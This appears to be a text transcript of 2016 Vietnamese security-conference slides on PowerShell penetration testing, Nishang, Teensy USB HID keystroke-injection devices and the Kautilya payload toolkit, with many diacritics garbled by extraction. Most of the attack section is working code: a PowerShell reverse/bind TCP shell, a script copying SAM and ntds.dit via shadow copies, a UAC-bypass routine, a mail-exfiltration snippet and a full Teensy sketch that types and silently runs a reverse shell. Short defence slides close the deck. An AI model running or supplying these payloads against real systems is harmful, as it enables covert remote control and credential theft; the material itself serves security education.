trần anh khoa - kautilya và powershelltrong kỹ thuật tấn công tiếp cận
TRANSCRIPT
SECURITY BOOTCAMP Đ NG THÁP 2016Ồ
Kautilya và Powershelltrong kỹ thu t t n công ti p c nậ ấ ế ậ
Ng i trình bày: Tr n Anh Khoaườ ầSecurity Reseacher and AnalyzerEmail: [email protected]
3
Xin c m n các nhà tài trả ơ ợ
44
BTIS hoạt động trong lĩnh vực An toàn thông tin. Chúng tôi tập hợp đội ngũ những chuyên viên
tốt nghiệp từ những trường Đại học uy tín của cả nước. Cùng với kinh nghiệm làm việc, nghiên
cứu trong lĩnh vực bảo mật, triển khai hệ thống kết hợp với sức trẻ của đội ngũ nhân viên, BTIS
mong sẽ cung cấp cho khách hàng những dịch vụ An toàn thông tin đáp ứng những nhu cầu
khác nhau từ thị trường.
LỜI CHÀO TỪ
CÔNG TY CÔNG NGHỆ BẢO TÍN
Địa chỉ: Tầng 04, 5A Trần Văn Dư, phường 13,quận Tân Bình, Tp.Hồ Chí MinhĐiện thoại: 08 3810 6288 – 08 38106289www.btis.vn | [email protected]
5
N I DUNG CH NG TRÌNHỘ ƯƠ
I. POWERSHELL PENETRATION TESTING
II. TEENSY HIDIII. KAUTILYA
IV. T N CÔNG TI P C N S D NG HID TRONG TH C TI N Ấ Ế Ậ Ử Ụ Ự ỄV. PH NG PHÁP PHÒNG CH NGƯƠ ỐVI. TH O LU NẢ Ậ
6
Powershell Penetration TestingGi i thi u Powershell, th c hi n phân tích PAYLOAD Powershell Penetration ớ ệ ự ệTesting
7
Powershell
• PowerShell là m t công c r t m nh mẽ đ c tích h p trong ộ ụ ấ ạ ượ ợWindows, h tr các nhi u ti n ích và cung c p các quy n cao ỗ ợ ề ệ ấ ềh n cho ng i dùng.ơ ườ
• Các ti n ích c b n c a PS:ệ ơ ả ủ− Qu n lý ti n trìnhả ế− Giám sát các Services− Qu n lý ng i dùngả ườ− Thông tin v h th ng máyề ệ ố
tính
8
T i sao l i s d ng PowerShellạ ạ ử ụ
9
T i sao l i s d ng PowerShellạ ạ ử ụ
10
NishangPowerShell for penetration testing and offensive securityNishang là m t framwork ch a các scripts và payloads s d ng PowerShell đ ộ ứ ử ụ ểth c hi n ki m tra b o m t, ki m tra pentest. ự ệ ể ả ậ ể
11
Nishang
Framework t p h p các script và payloads th c thi b ng ậ ợ ự ằPowerShell dùng đ th c hi n các cu c t n công, ki m th h ể ự ệ ộ ấ ể ử ệth ng.ố
12
Phân tích PowerShell TCP Payload
• Link: https://github.com/samratashok/nishang/raw/master/Shells/Invoke-PowerShellTcp.ps1
• Miêu t :ảScript ch p nh n các k t n i t xa đ n ho c t đ ng k t n i đ n ấ ậ ế ố ừ ế ặ ự ộ ế ố ếm t host và port b t kỳ thông qua netcatộ ấ• Ví d :ụ
− Ch p nh n các k t n i đ n Port 4444ấ ậ ế ố ếPS > Invoke-PowerShellTcp -Bind -Port 4444
− K t n i đ n host 192.168.254.226 t i port 4444ế ố ế ạPS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port
4444
13
#Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() }
Phân tích PowerShell TCP Payload
14
Phân tích Copy-VSS Payload
• Link: https://github.com/samratashok/nishang/raw/master/Gather/Copy-VSS.ps1
• Miêu t :ảPayload s d ng VSS Service, t o Shadow c a C và th c hi n ử ụ ạ ủ ổ ự ệCopy các t p tin SAM.ậ• Ví d :ụ
− L u các t p tin vào trong th m c C:\tempư ậ ư ụPS > Copy-VSS -DestinationDir C:\temp
15
$service = (Get-Service -name VSS) if($service.Status -ne "Running") { $notrunning=1 $service.Start() } $id = (Get-WmiObject -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID $volume = (Get-WmiObject win32_shadowcopy -filter "ID='$id'") $SAMpath = "$pwd\SAM" $SYSTEMpath = "$pwd\SYSTEM" $ntdspath = "$pwd\ntds" if ($DestinationDir) { $SAMpath = "$DestinationDir\SAM" $SYSTEMpath = "$DestinationDir\SYSTEM" $ntdspath = "$DestinationDir\ntds" } `cmd /c copy "$($volume.DeviceObject)\windows\system32\config\SAM" $SAMpath` `cmd /c copy "$($volume.DeviceObject)\windows\system32\config\SAM" $SYSTEMpath` if($ntdsSource) { `cmd /c copy "$($volume.DeviceObject)\$ntdsSource\ntds.dit" $ntdspath` } else { `cmd /c copy "$($volume.DeviceObject)\windows\system32\ntds.dit" $ntdspath` } $volume.Delete() if($notrunning -eq 1) { $service.Stop() } }
Phân tích Copy-VSS Payload
16
Phân tích Bypass UAC Payload
• Link: https://github.com/samratashok/nishang/raw/master/Escalation/Invoke-PsUACme.ps1
• Miêu t :ảPayload bypass UAC Ví d :ụ
− Bypass UAC s d ng ph ng th c sysprepử ụ ươ ứPS > Invoke-PsUACme -method sysprep -Verbose
17
Phân tích Bypass UAC Payload$OSVersion = (Get-WmiObject -Class win32_OperatingSystem).BuildNumber switch($method) { "Sysprep" { Write-Output "Using Sysprep method" if ($OSVersion -match "76") { Write-Verbose "Windows 7 found!" $dllname = "CRYPTBASE.dll" $PathToDll = "$env:temp\$dllname" Write-Verbose "Writing to $PathToDll" [Byte[]] $temp = $DllBytes -split ' ' [System.IO.File]::WriteAllBytes($PathToDll, $temp) } if ($OSVersion -match "96") { Write-Verbose "Windows 8 found!" $dllname = "shcore.dll" $PathToDll = "$env:temp\$dllname" Write-Verbose "Writing to $PathToDll" [Byte[]] $temp = $DllBytes -split ' ' [System.IO.File]::WriteAllBytes($PathToDll, $temp) } if ($OSVersion -match "10") { Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has no extract option. Not supported *yet*. " } $Target = "$env:temp\uac.cab" $wusapath = "C:\Windows\System32\Sysprep\" $execpath = "C:\Windows\System32\Sysprep\sysprep.exe" Write-Verbose "Creating cab $Target" $null = & makecab $PathToDll $Target Write-Verbose "Extracting cab to $wusapath " $null = & wusa $Target /extract:$wusapath Start-Sleep -Seconds 1 Write-Verbose "Executing $execpath " & $execpath }
18
Analyze Bypass UAC Payload
Method Name Write DLL to DLL Name Executable to Use
sysprep C:\Windows\System32\sysprep\
CRYPTBASE.dll for Windows 7 and shcore.dll for Windows 8
C:\Windows\System32\sysprep\sysprep.exe
oobe C:\Windows\System32\oobe\
wdscore.dll for Windows 7, 8 and 10
C:\Windows\System32\oobe\setupsqm.exe
actionqueue C:\Windows\System32\sysprep\
ActionQueue.dll only for Windows 7
C:\Windows\System32\sysprep\sysprep.exe
migwiz C:\Windows\System32\migwiz\
wdscore.dll for both Windows 7 and 8
C:\Windows\System32\migwiz\migwiz.exe
cliconfg C:\Windows\System32\ ntwdblib.dll for Windows 7, 8 and 10
C:\Windows\System32\cliconfg.exe
winsat
C:\Windows\System32\sysprep\Copy winsat.exe from C:\ Windows\System32\ to C:\Windows\System32\sysprep\
ntwdblib.dll for Windows 7 and devobj.dll for Windows 8 and 10
C:\Windows\System32\sysprep\winsat.exe
mmc C:\Windows\System32\ntwdblib.dll for Windows 7 and elsext.dll for Windows 8 and 10.
C:\Windows\System32\mmc.exe eventvw
19
[int[]] $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901), [int] $TimeOut = 100 Begin { $ping = New-Object System.Net.Networkinformation.Ping }
$Word = New-Object -ComObject Word.Application $WordVersion = $Word.Version #Check for Office 2007 or Office 2003 if (($WordVersion -eq "12.0") -or($WordVersion -eq "11.0")) { $Word.DisplayAlerts = $False } else { $Word.DisplayAlerts = "wdAlertsNone" }
$smtpserver = "smtp.gmail.com" $msg = new-object Net.Mail.MailMessage $smtp = new-object Net.Mail.SmtpClient($smtpServer ) $smtp.EnableSsl = $True $smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password"); $msg.From = "[email protected]" $msg.To.Add("[email protected]") $msg.Subject = $pastename $msg.Body = $pastevalue
Các Payload khác
20
Teensy HIDL ch s hình thành các kỹ thu t khai thác, chi m quy n ng i dùng thông qua ị ử ậ ế ề ườk t n i trên n n t ng USB. Tóm g n các ch c năng, u đi m/ nh c đi m c a ế ố ề ả ọ ứ ư ể ượ ể ủcác kỹ thu t c đi n đ n nh ng ph ng pháp khai thác m i nh t, khó phát ậ ổ ể ế ữ ươ ớ ấhi n và nguy hi m.ệ ể
21
L ch s xu t hi nị ử ấ ệ
• USB mass storage containing malware
• U3 thumb drives with "evil" autorun payloads
• Hardware key loggers• Programmable HID USB
Keyboard Dongle Devices
USB Rubber Ducky Deluxe
22
HIDHuman Interface DeviceTiêu chu n USB đ c phân thành nhi u l p (class) và đ nh nghĩa b i mã đ nh ẩ ượ ề ớ ị ở ịdanh gán trên thi t b . Các l p USB giúp các thi t b k t n i xác đ nh ch c ế ị ớ ế ị ế ố ị ứnăng ph n c ng mà nó đ c thi t k . HID là m t l p theo tiêu chu n USB ầ ứ ượ ế ế ộ ớ ẩqu c t , đ c s d ng trong vi c phát tri n các tính năng m r ng, t ng tác ố ế ượ ử ụ ệ ể ở ộ ươv i các thi t b khác.ớ ế ị
http://www.usb.org/developers/defined_class/#BaseClass03h
USB
24
HID (Human Interface Device)
• Human Interface Device (HID) cho phép các nhà phát tri n t t o ra các ể ự ạthi t b / ng d ng trên ki n trúc USB mà không c n ph i nhúng thêm ế ị ứ ụ ế ầ ảdriver thi t b . Tính ch t t ng thích cao c a chip HID và k t n i USB là ế ị ấ ươ ủ ế ốm t s k t h p hoàn h o cho vi c m r ng các tính năng cao c p cho thi t ộ ự ế ợ ả ệ ở ộ ấ ếb USB ngày nay.ị
http://d3i5bpxkxvwmz.cloudfront.net/articles/2012/01/23/USB-HID-Tutorial-1327308511.pdf
25
Teensy USB Development BoardTeensy là m t m ch tích h p s d ng vi x lý trên n n t ng USB, thi t k v i ộ ạ ợ ử ụ ử ề ả ế ế ớkích th c nh và có th phát tri n m r ng thành nhi u tính năng khác ướ ỏ ể ể ở ộ ềnhau. T t c quá trình biên d ch, n p chip và th c thi mã đ u thông qua k t ấ ả ị ạ ự ề ến i USB.ố
26
Teensy USB Board, Version 3.2Actual size is 1.4 by 0.7 inchVersion 3.2 features a 32 bit ARM processor.Price $19.80
https://www.pjrc.com/teensy/index.html
27
Demo n p chip – Mouse - Notepad.inoạ
28
KautilyaCông c cung c p payloads cho các thi t b HID giúp ki m tra tính b o m t ụ ấ ế ị ể ả ậc a h th ng trong quá trình ki m thủ ệ ố ể ử
29
Kautilya Features
WindowsGather− Gather Information− Hashdump and Exfiltrate− Keylog and Exfiltrate− Sniffer− WLAN keys dump− Get Target Credentials− Dump LSA Secrets− Dump passwords in plain− Copy SAM− Dump Process Memory− Dump Windows Vault
CredentialsExecute− Download and Execute− Connect to Hotspot and Execute
code− Code Execution using Powershell− Code Execution using DNS TXT
queries− Download and Execute
PowerShell Script
− Execute ShellCode− Reverse TCP ShellBackdoor− Sethc and Utilman backdoor− Time based payload execution− HTTP backdoor− DNS TXT Backdoor− Wireless Rogue AP− Tracking Target Connectivity− Gupt BackdoorEscalate− Remove Update− Forceful BrowsingManage− Add an admin user− Change the default DNS server− Edit the hosts file− Add a user and Enable RDP− Add a user and Enable Telnet− Add a user and Enable
Powershell RemotingDrop Files
− Drop a MS Word File− Drop a MS Excel File− Drop a CHM (Compiled HTML
Help) file− Drop a Shortcut (.LNK) file− Drop a JAR fileMisc− Browse and Accept Java Signed
Applet− Speak on Target
Linux− Download and Execute− Reverse Shells using built in tools− Code Execution− DNS TXT Code Execution− Perl reverse shell (MSF)
OSX− Download and Execute− DNS TXT Code Execution− Perl Reverse Shell (MSF)− Ruby Reverse Shell (MSF)
30
Demo n p chip – ReverseTCP.inoạ
31
void setup() { delay(3000); // Kiểm tra đã nhận Teensy chưa bằng tín hiệu đèn trên CAPLOCK? wait_for_drivers(2000); // Thu nhỏ tất cả chương trình đang chạy minimise_windows(); delay(500); while (!cmd(3, 500, "cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"")) // Thực hiện gọi CMD với các tham số truyền vào. { reset_windows_desktop(2000); } delay(1000); // Thực hiện khởi tạo PAYLOAD POWERSHELL Keyboard.println("echo $cl = New-Object System.Net.Sockets.TCPClient(\"192.168.1.37\",4444) > %temp%\\rtcp.ps1"); Keyboard.println("echo $str = $cl.GetStream() >> %temp%\\rtcp.ps1"); Keyboard.println("echo [byte[]]$bts = 0..65535^|%{0} >> %temp%\\rtcp.ps1"); Keyboard.println("echo while(($i = $str.Read($bts, 0, $bts.Length)) -ne 0){ >> %temp%\\rtcp.ps1"); Keyboard.println("echo $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bts,0, $i) >> %temp%\\rtcp.ps1"); Keyboard.println("echo $sb = (iex $data 2>&1 ^| Out-String ) >> %temp%\\rtcp.ps1"); Keyboard.println("echo $sb2 = $sb + \"PS \" + (pwd).Path + \"> \" >> %temp%\\rtcp.ps1"); Keyboard.println("echo $sbt = ([text.encoding]::ASCII).GetBytes($sb2) >> %temp%\\rtcp.ps1"); Keyboard.println("echo $str.Write($sbt,0,$sbt.Length) >> %temp%\\rtcp.ps1"); Keyboard.println("echo $str.Flush()} >> %temp%\\rtcp.ps1"); Keyboard.println("echo $cl.Close() >> %temp%\\rtcp.ps1"); // Thực hiện khởi tạo VBS Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\rtcp.vbs"); Keyboard.println("echo oShell.Run(\"powershell.exe -ep bypass -nologo -c %temp%\\rtcp.ps1\"),0,true >> %temp%\\rtcp.vbs"); delay(1000); // Thực thi tập tin VBS Keyboard.println("wscript %temp%\\rtcp.vbs"); delay(1000); Keyboard.println("exit"); }
$cl = New-Object System.Net.Sockets.TCPClient("192.168.1.37",4444) $str = $cl.GetStream() [byte[]]$bts = 0..65535|%{0} while(($i = $str.Read($bts, 0, $bts.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bts,0, $i) $sb = (iex $data | Out-String ) $sb2 = $sb + "PS " + (pwd).Path + "> " $sbt = ([text.encoding]::ASCII).GetBytes($sb2) $str.Write($sbt,0,$sbt.Length) $str.Flush()} $cl.Close()
Kiểm tra nhận Teensy chưa
Thu nhỏ màn hình
(Windows + M)
Mở Run(Windows + R)
Nhập lệnh CMD
Khởi tạo PAYLOAD
POWERSHELL
Khởi tạo Script Vbs
Thực thi SCRIPT Thoát
T ng quan quy trìnhổ
33
Demo n p chip – CopySAM.inoạ
34
35
Bypass UAC
36
Hàm Bypass UAC
// Hàm Bypass UAC void send_left_enter() { delay(1000); Keyboard.set_key1(KEY_LEFT); // Nhấn phím trái Keyboard.send_now(); delay(100); Keyboard.set_key1(0); Keyboard.send_now(); Keyboard.set_key1(KEY_ENTER); // Nhấn Enter Keyboard.send_now(); delay(100); Keyboard.set_key1(0); Keyboard.send_now(); }
Kiểm tra nhận Teensy chưa
Thu nhỏ màn hình
(Windows + M)
Nhấn nút Windows
Nhập lệnh CMD
Nhấp tổ hợp phím
CTRL + SHIFT + ENTER
Trên hộp thoại UAC, nhấn phái
qua trái và ENTER
Khởi tạo PAYLOAD POWERSHELL
Khởi tạo Script Vbs Thực thi SCRIPT
Thoát
T ng quan quy trìnhổ
38
T n công ti p c n s d ng ấ ế ậ ử ụHID trong th c ti n ự ễHID h tr ho t đ ng trên đa n n t ng h đi u hành và ki n trúc ph n c ng.ỗ ợ ạ ộ ề ả ệ ề ế ầ ứ
39
SOCIAL ENGINEERING:THE ART OF HUMAN HACKING
From elicitation, pretexting, influence and manipulation all aspects of social engineering are picked apart, discussed and explained by using real world examples, personal experience and the science behind them to unraveled the mystery in social engineering.
Kevin Mitnick—one of the most famous social engineers in the world—popularized the term “social engineering.” He explained that it is much easier to trick someone into revealing a password for a system than to exert the effort of hacking into the system. Mitnick claims that this social engineering tactic was the single-most effective method in his arsenal. This indispensable book examines a variety of maneuvers that are aimed at deceiving unsuspecting victims, while it also addresses ways to prevent social engineering threats.
40
D ch v s c đi n tho i?ị ụ ạ ệ ạ
41
Thi t b đ c th nhế ị ọ ẻ ớ
42
Bàn phím USB
43
Data Leak Prevention Bypass
44
T n công đa n n t ngấ ề ả
• Microsoft Windows: Powershell, VBS• MAC OS: Mouse, Keyboard, Automated brute force attack against
the EFI PIN• Linux: Mouse, Keyboard• Android: OTG Device, brute force• iOS: brute force,…• …
45
Microsoft Windows
46
The USB ID Repository
16c0 Van Ooijen Technische Informatica0477 Teensy Rebootor0478 Teensy Halfkay Bootloader0479 Teensy Debug047a Teensy Serial047b Teensy Serial+Debug047c Teensy Keyboard047d Teensy Keyboard+Debug047e Teensy Mouse047f Teensy Mouse+Debug0480 Teensy RawHID0481 Teensy RawHID+Debug0482 Teensyduino Keyboard+Mouse+Joystick0483 Teensyduino Serial0484 Teensyduino Disk0485 Teensyduino MIDI0486 Teensyduino RawHID0487 Teensyduino Serial+Keyboard+Mouse+Joystick0488 Teensyduino Flight Sim Controls
47
It’s not a USB! It’s a TeensyHID
48
• C:\Program Files (x86)\Arduino\hardware\teensy\avr\cores\teensy3\usb_desc.h
usb_desc.h
49
Microsoft Windows
50
Microsoft Windows
51
Microsoft Windows
52
Các kỹ thu t phòng ch ngậ ốPh ng th c phát hi n, phòng ch ng các d ng ph n c ng đ c h i trên các ươ ứ ệ ố ạ ầ ứ ộ ạn n t ng h đi u hành.ề ả ệ ề
53
Microsoft Windows - GPO
54
Linux
• Locking down Linux using UDEV• http://www.irongeek.com/i.php?page=security/plug-and-prey-
malicious-usb-devices&mode=print#3.2_Locking_down_Linux_using_UDEV
55
Tài li u tham kh oệ ả
1. https://www.pjrc.com/teensy/2. http://www.irongeek.com/i.php?page=security/plug-and-prey
-malicious-usb-devices3. http://www.irongeek.com/i.php?page=security/programmable
-hid-usb-keystroke-dongle4. https://github.com/offensive-security/hid-backdoor-peensy5. https://github.com/trustedsec/social-engineer-toolkit/blob/m
aster/src/teensy/peensy.pde6. https://github.com/matterpreter/penteensy7. https://github.com/samratashok/nishang
56
Th o lu nả ậ